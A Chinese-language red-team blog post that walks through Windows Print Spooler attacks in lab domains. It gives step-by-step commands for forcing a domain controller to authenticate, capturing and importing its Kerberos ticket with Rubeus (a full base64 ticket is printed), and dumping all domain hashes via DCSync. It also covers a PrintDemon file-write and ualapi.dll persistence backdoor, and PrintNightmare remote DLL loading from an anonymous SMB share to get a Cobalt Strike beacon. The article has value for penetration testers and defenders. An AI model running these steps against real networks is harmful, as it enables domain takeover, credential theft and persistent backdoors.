close

本文約7300字,閱讀約需15分鐘。
WindowsPrintSpooler是Windows的打印機後台處理程序,廣泛地應用於各種內網中。

因此在攻防演練中,紅隊成員進行內網橫向的時候,也可以藉助PrintSpooler的漏洞進行特權提升和獲取域控權限等。

對於藍隊成員,要更多地關注PrintSpooler漏洞帶來的影響和危害,進一步做好防禦。


1

WindowsPrint Spooler

PrintSpooler是打印後台處理服務,管理所有本地和網絡打印隊列及控制所有打印工作。該服務會發送要打印的數據給USB/並行端口、位於本地網絡或互聯網上的打印機的TCP端口或本地文件。

PrintSpooler在Windows環境中作為具有SYSTEM級權限的服務運行,該服務默認運行在域控制器上,許多服務器也是默認配置為使用PrintSpooler。

存儲關鍵數據,且不需要打印後台處理程序但默認配置的常見服務器列表有:

域控制器和ActiveDirectory;
域內服務器,例如SQL、文件系統和Exchange服務器;
不需要打印的機器。

2

相關CVE

CVE-2020-1048(在 Black Hat 2020 上展示的 Windows Print Spooler 中的特權提升漏洞;在野外被利用,Metasploit 模塊可用);

CVE-2020-1337(繞過CVE-2020-1048 的補丁;Metasploit 模塊可用);

CVE-2020-17001(CVE-2020-1048 的補丁繞過變體);

CVE-2020-17014(CVE-2020-1048 的補丁繞過變體);

CVE-2020-1300(在 DEF CON 2020 上展示的稱為「 EvilPrinter 」的本地提權技術);

CVE-2021-24088(Windows 本地假脫機程序中的新遠程代碼執行漏洞,如 Black Hat 2021 所示);

CVE-2021-24077(Windows 傳真服務中的新遠程代碼執行漏洞,如 Black Hat 2021 所示);

CVE-2021-1722(Windows 傳真服務中的新遠程代碼執行漏洞,如 Black Hat 2021 所示);

CVE-2021-1675(2021 年 6 月修補的 Windows Print Spooler 中的特權提升漏洞);

CVE-2021-34527,又名「PrintNightmare」;

CVE-2021-35449(打印驅動程序本地提權漏洞,在 DEF CON 2021 上提出;Metasploit 模塊正在進行中);

CVE-2021-38085(未打補丁的打印驅動程序的本地權限提升漏洞,因為呈現在DEF CON 2021; Metasploit的模塊進行中);

CVE-2021-36958(未修補的遠程代碼執行漏洞;2021 年 8 月 11 日公布)。

3

漏洞利用

目前,已知PrintDemon(CVE-2020-1048)和PrintNightmare(CVE-2021-34527)都在野外被利用,PrintSpooler也可以搭配非約束委派進行利用。所以本文主要介紹以下幾種利用方式:

域控制器打印服務器+非約束Kerberos委派=DCSync
漏洞原理如下:

利用Windows打印系統遠程協議(MS-RPRN)中的一種雖然老舊,但默認啟用的方法。在該方法中,域用戶可以使用:

MS-RPRNRpcRemoteFindFirstPrinterChangeNotification(Ex)

這一方法強制任何運行了Spooler服務的計算機,以通過Kerberos或NTLM對攻擊者選擇的目標進行身份驗證。

利用條件如下:

具有Kerberos無約束委派授權的賬戶;

能夠攻陷該賬戶;

域控制器作為打印服務器運行(Print Spooler服務正在運行)。


漏洞環境如下:

域:dcyu.com;域控:IP:10.10.10.1;系統:Win2012;主機名:AD;用戶:administrator;域內主機:IP:10.10.10.10系統:Win2012;主機名:web01;域用戶:web01。

利用工具如下:

AdFind.exe(http://www.joeware.net/freetools/tools/adfind/)Impacket(https://github.com/SecureAuthCorp/impacket)SpoolSample(https://github.com/leechristensen/SpoolSample)Rubeus(https://github.com/GhostPack/Rubeus)

利用方法如下:

(1)發現域內開啟非約束委派的用戶和主機,查詢域內配置非約束委派的用戶:

AdFind.exe -b "DC=dcyu,DC=com" -f "(&(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=524288))" cn distinguishedName

查詢域內配置非約束委派的主機:

AdFind.exe -b "DC=dcyu,DC=com" -f "(&(samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288))" cn distinguishedName

註:也可以使用Powershell或者Ldap進行查詢。


從圖中可以看出主機web01配置了非約束委派。(域控主機默認配置非約束委派)

(2)查看域控主機上是否運行PrintSpooler服務:

ls\\ad\pipe\spoolss


有顯示spoolss即為域控主機上運行了PrintSpooler服務,如果沒有運行,我們將收到一個錯誤信息。

還有另一種方法。我們可以使用impacket中rpcdump.py腳本掃描存在PrintSpooler服務的主機:

python3rpcdump.py @10.10.10.1 | egrep 'MS-RPRN|MS-PAR'


如圖所示為存在PrintSpooler服務,未顯示信息則不存在。

(3)使用Rubeus監聽來自域控(AD)的4624登錄日誌(需要管理員權限):

Rubeus.exemonitor /interval:1 /filteruser:ad$


(4)在web01主機上運行SpoolSample.exe,向域控(AD)的Spooler服務發送請求,強制域控(AD)向web01主機發起認證:

SpoolSample.exead web01


看到返回上述消息,表明域控主機對我們的web01主機進行身份驗證了。

(5)捕捉到來自域控(AD)的認證請求,導出其TGT數據:


(6)使用Rubues進行PTT票據傳遞:

PTT操作將通過LsaCallAuthenticationPackage()API提交當前登錄會話的(TGT或服務票證),其中包含KERB_SUBMIT_TKT_REQUEST消息,或者(如果已提升)由指定的登錄會話"/luid:0xA.."。

與其他"/ticket:X"參數一樣,該值可以是".kirbi"文件的base64編碼或磁盤上".kirbi"文件的路徑。

使用Rubues導入base64的ticket:

Rubeus.exe ptt /ticket:doIEyDCCBMSgAwIBBaEDAgEWooID3jCCA9phggPWMIID0qADAgEFoQobCERDWVUuQ09Noh0wG6ADAgECoRQwEhsGa3JidGd0GwhEQ1lVLkNPTaOCA54wggOaoAMCARKhAwIBAqKCA4wEggOIhEAzA7s8DXecjlils7N3XcCNXNH+742I3JKu20KSFPrZ3xfVuu4M9vQ7fYkc5LG/DvhZXM31lQSpZpKZb7s9Rw/Z7iaHF94eUAdU02Cr1ZNXeggpdEkEJzyaMZs0N95G+7vQwQ8HME1+Ls/NzzhshKStU9VMPJXMitGNTKSrpZLddT9ehET5v6bh7NRAQ/8G4s3WHT6v52EwG0jppRYEpgeVr22ICKq+aiZvdklqukJ1XMd0NBbbjutqH5+0EdfH5HPQpc9LTuyiBCcENZ3ZBKHp1EecXFxDaXThWVVtN52KdZ3s1FflawxxY3tiv04JqUoGwU4Dw6NUBQjaHnjQbtY4A6Ua7SRmdNtIpN5InxXKe/aK0said1DAJz8gez4oj5FeZzsDqp3o6TE5oCuNYMpHxMnwreD58/eiTNJR/5yQkoTDArt2c9ACdwUhGOH+hfDEpFGTS0cy+N1OrAdY7BSM0uEfxRyFtMnWcbO3eGlQR6H2EAMiqns0+sc8Pr/JgQCAA0zTxblrNQwbnhNRkna9m972bRgDJM36HQN4RGLErWcRexVkXVSe4VTCMW2DoDjq2VGvfHuszex+y0zRbRbI+jGYfwOqgcqshV4QhtZxxqmH9c5tqZH/AjoF6Kq8HZIjq7FzujPuu4daQl5v2EDLiGNG4/SwJyMaBbTiDY7JF+JAm/MydueDxV6q3iRfUlyXIAs1WPfe56huQc/ZaTJZP3Od1mhsBb1vx8cx+2FBmEnnDMmXOKLM6i44TJ12Hejz6zsJNnkCvwsSCIPI6xmB+lcRqpV6UFSNOSKf/wQap/TrZG+6peFBFFcJGMm3fA8U5xnIagZ6wuZUxsB+M/Mxm5E6u3fOVXWiFOodo/UNlO+VBNnBXRXsmu48T66Fndecpa/R7Kp1AvZhicErzY/q527YWu7AxlOoQichYcTELwJ9SOn0gpx9Rv7JhHY/ka9usGFnXukI9YYS1hY/vyUlNMZrvzhtDdALVSHc87md3wqOIWTwXVR5O4o6xgeKNmNbQBu8JeEYbt3LOGrKRMIJWCSSFHTNnlmeIrWTTOeanbZpuAnzcuyMyI1W8/s2PlycqmRh0POMmy1/ITOJHQmHgQYeaMpDhuCnUvvIGWs+LeBhdoLyyXHdnYokQ6Gc285lnJ9xJy2vv2nc9rvjHHVlUC0WnnlZlFuGiQCyBf8D6JCS1YmvOKOB1TCB0qADAgEAooHKBIHHfYHEMIHBoIG+MIG7MIG4oCswKaADAgESoSIEICdPOOt8xHFIpO+5u1BCUv2tjnemIILIHn8UJnZH9g0AoQobCERDWVUuQ09NohAwDqADAgEBoQcwBRsDQUQkowcDBQBgoQAApREYDzIwMjExMjI2MTMyNTI5WqYRGA8yMDIxMTIyNjIzMjUyOVqnERgPMjAyMjAxMDIxMzI1MjlaqAobCERDWVUuQ09NqR0wG6ADAgECoRQwEhsGa3JidGd0GwhEQ1lVLkNPTQ==


(7)成功導入TGT後,查看可用票據:

klist


如圖所示,我們獲得了域控主機(AD)的TGT票據(默認情況下,域控制器計算機賬戶對域對象具有DCSync權限)。

(8)利用DCSync導出域內所有用戶hash:

lsadump::dcsync/domain:dcyu.com /all /csv


我們可以進一步進行Hash傳遞或者進行黃金票據等。

PrintDemon(CVE-2020-1048)
漏洞原理如下:

WindowsPrint Spooler服務不恰當地允許任意的文件系統寫入,存在本地特權提升漏洞。

該漏洞由安全研究人員AlexIonescu和YardenShafir發現,並被命名為PrintDemon。

Windows添加打印機時,對portname的檢查函數可以被繞過,設置為任意文件,因此我們可以把任意內容輸出到portname對應的系統文件(如某個dll)中,實現權限提升。

攻擊者可以利用該漏洞執行類似PowerShell命令,獲取管理員級別系統權限,執行任意代碼。

再來看利用條件。要利用此漏洞,攻擊者必須登錄受影響的系統並運行特製的腳本或應用程序。

影響範圍如下:

Microsoft Windows 10,Windows 10 1607版本,Windows 10 1709版本,Windows 10 1803版本,Windows 10 1809版本,Windows 10 1903版本,Windows 10 1909版本,Windows 7 SP1,Windows 8.1,Windows RT 8.1,Windows Server 2008 SP2,Windows Server 2008 R2 SP1,Windows Server 2012,Windows Server 2012 R2,Windows Server 2016,Windows Server 2019,Windows Server 1803版本,Windows Server 1903版本,Windows Server 1909版本。

漏洞環境如下:

系統:Win10 X64 1607企業版;

添加普通用戶賬戶PrintDemon:

netuser PrintDemon ad@12345 /add


最後還是聊聊利用方法。利用方法大體分為兩類,其一是假裝創建一個打印機,向文件系統中寫入數據:

(1)安裝驅動:

Add-PrinterDriver -Name "Generic / Text Only"


枚舉已安裝的驅動:

Get-PrinterDriver


(2)將打印機與某個端口綁定(端口可以使用文件):

Add-PrinterPort -Name "C:\Windows\system32\PrintDemon.txt"


獲取打印機端口信息:

Get-PrinterPort | ft name


(3)利用打印機驅動和端口創建並綁定一個打印機:

Add-Printer -Name "PrintDemon" -DriverName "Generic /Text Only" -PortName "C:\Windows\system32\PrintDemon.txt"


查看打印機綁定情況:

Get-Printer | ft Name,DriverName,PortName


也可以在系統中「設備與打印機」中查看,多了一台名為「PrintDemon」的打印機:


(4)執行打印操作:

"Hello, World!" | Out-Printer -Name "PrintDemon"


目前顯示「錯誤,正在打印」,需要重啟主機或者重啟spooler服務,使得以SYSTEM權限運行,才會將內容寫入到文件中.

未重啟前:


重啟後:


查看文件內容:

type C:\Windows\system32\PrintDemon.txt


方法其二則是持久化後門。

在未打補丁的系統PowerShell窗口中輸入:

Add-PrinterPort-Namec:\windows\system32\ualapi.dll

隨後就能在系統上留下一個持久化後門。只需要將一個MZ文件「打印」到剛剛創建的打印機,就能大功告成。


方法三則是CVE-2020-1048補丁繞過方式。

利用CVE-2020-1337;

利用CVE-2020-17001。


PrintNightmare(CVE-2021-34527)
此漏洞一開始為CVE-2021-1675,隨後微軟把此漏洞分配給了CVE-2021-34527,並提到了兩個漏洞很像,但是攻擊向量是不同的。

CVE-2021-1675的漏洞成因在於RpcAddPrinterDriverEx中,函數邏輯校驗不嚴格,利用該漏洞,攻擊者可以將普通用戶權限提升至System權限。之後,微軟緊急發布補丁對該漏洞進行修復。

但CVE-2021-34527繞過了微軟的這個修復,CVE-2021-34527使用到了另一個打印服務的API:RpcAsyncAddPrinterDriver,該函數同樣存在校驗不嚴格的問題,是一個嚴重的遠程代碼執行漏洞。

成功利用此漏洞的攻擊者可以使用SYSTEM權限運行任意代碼。然後攻擊者可以安裝程序、查看、更改或刪除數據,或創建具有完全用戶權限的新賬戶。

漏洞利用條件如下:

目標開啟Spooler服務;

一個普通權限的域賬戶;

創建的smb服務允許匿名訪問,即目標可以直接獲取到文件。


漏洞環境如下:

域:dcyu.com;域控:IP:192.168.194.131;系統:Win2019;主機名:AD;用戶:administrator;域內主機:IP:192.168.194.135;系統:Win2019;主機名:web01;域用戶:web01攻擊主機:IP:192.168.194.130;系統:Kali。

利用工具如下:

https://github.com/cube0x0/CVE-2021-1675
https://github.com/cube0x0/impacket

利用方法如下:

(1)查看域控主機上是否運行PrintSpooler服務:

ls\\AD\pipe\spoolss

(2)在web01中開啟SMB匿名訪問:

Windows下用於構建匿名SMB文件服務器腳本(By3gstudent):

https://github.com/3gstudent/Invoke-BuildAnonymousSMBServer

cube0x0的powershell腳本:

https://github.com/cube0x0/CVE-2021-1675

mkdir C:\shareicacls C:\share\ /T /grant Anonymous` logon:ricacls C:\share\ /T /grant Everyone:rNew-SmbShare -Path C:\share -Name share -ReadAccess 'ANONYMOUS LOGON','Everyone'REG ADD "HKLM\System\CurrentControlSet\Services\LanManServer\Parameters" /v NullSessionPipes /t REG_MULTI_SZ /d srvsvc /f #This will overwrite existing NullSessionPipesREG ADD "HKLM\System\CurrentControlSet\Services\LanManServer\Parameters" /v NullSessionShares /t REG_MULTI_SZ /d share /fREG ADD "HKLM\System\CurrentControlSet\Control\Lsa" /v EveryoneIncludesAnonymous /t REG_DWORD /d 1 /fREG ADD "HKLM\System\CurrentControlSet\Control\Lsa" /v RestrictAnonymous /t REG_DWORD /d 0 /f# Reboot

複製上面信息到一個ps1文件中,在Powershell下使用管理員權限運行,即可在Windows下開啟SMB匿名訪問。

(3)掃描潛在的易受攻擊的主機:

首先安裝impacket包:

git clone https://github.com/cube0x0/impacketcd impacketpython3 ./setup.py install

然後,Kali使用rpcdump.py來掃描潛在的易受攻擊的主機:

rpcdump.py @192.168.194.131 | egrep 'MS-RPRN|MS-PAR'


有返回信息,說明它可能是易受攻擊的。

(4)CS生成DLL文件並將文件放在共享目錄下:


(5)Kali中漏洞利用,遠程加載共享目錄下的DLL文件:

./CVE-2021-1675.py dcyu.com/web01@192.168.194.131 '\\192.168.194.135\share\b64.dll'


(6)執行成功,上線CS:


這一漏洞的利用場景如下:

CVE-2021-1675/CVE-2021-1675漏洞可以利用於以下場景:

在工作組環境下,可通過該漏洞獲取系統最高權限;

域環境下,直接攻擊域控制器可以獲取域控的SYSTEM權限,執行任意代碼;

可用於持久化的操作,得到域控後,在有共享目錄、能訪問到域控的情況下,遠程的加載共享目錄下的DLL。

4

參考

https://book.hacktricks.xyz/windows/active-directory-methodology/printers-spooler-service-abuse
https://pentestlab.blog/2021/08/02/universal-privilege-escalation-and-persistence-printer/
https://www.rapid7.com/blog/post/2021/08/12/popular-attack-surfaces-august-2021-what-you-need-to-know/
https://adsecurity.org/?p=4056
https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-1675
https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34527
https://paper.seebug.org/1635/


- END -


往期推薦

記一次卑微的滲透測試

pwn入門之棧入門

MYSQL另類利用方式

長按下方圖片即可關注

點擊下方閱讀原文,加入社群,讀者作者無障礙交流
arrow
arrow
    全站熱搜
    創作者介紹
    創作者 鑽石舞台 的頭像
    鑽石舞台

    鑽石舞台

    鑽石舞台 發表在 痞客邦 留言(0) 人氣()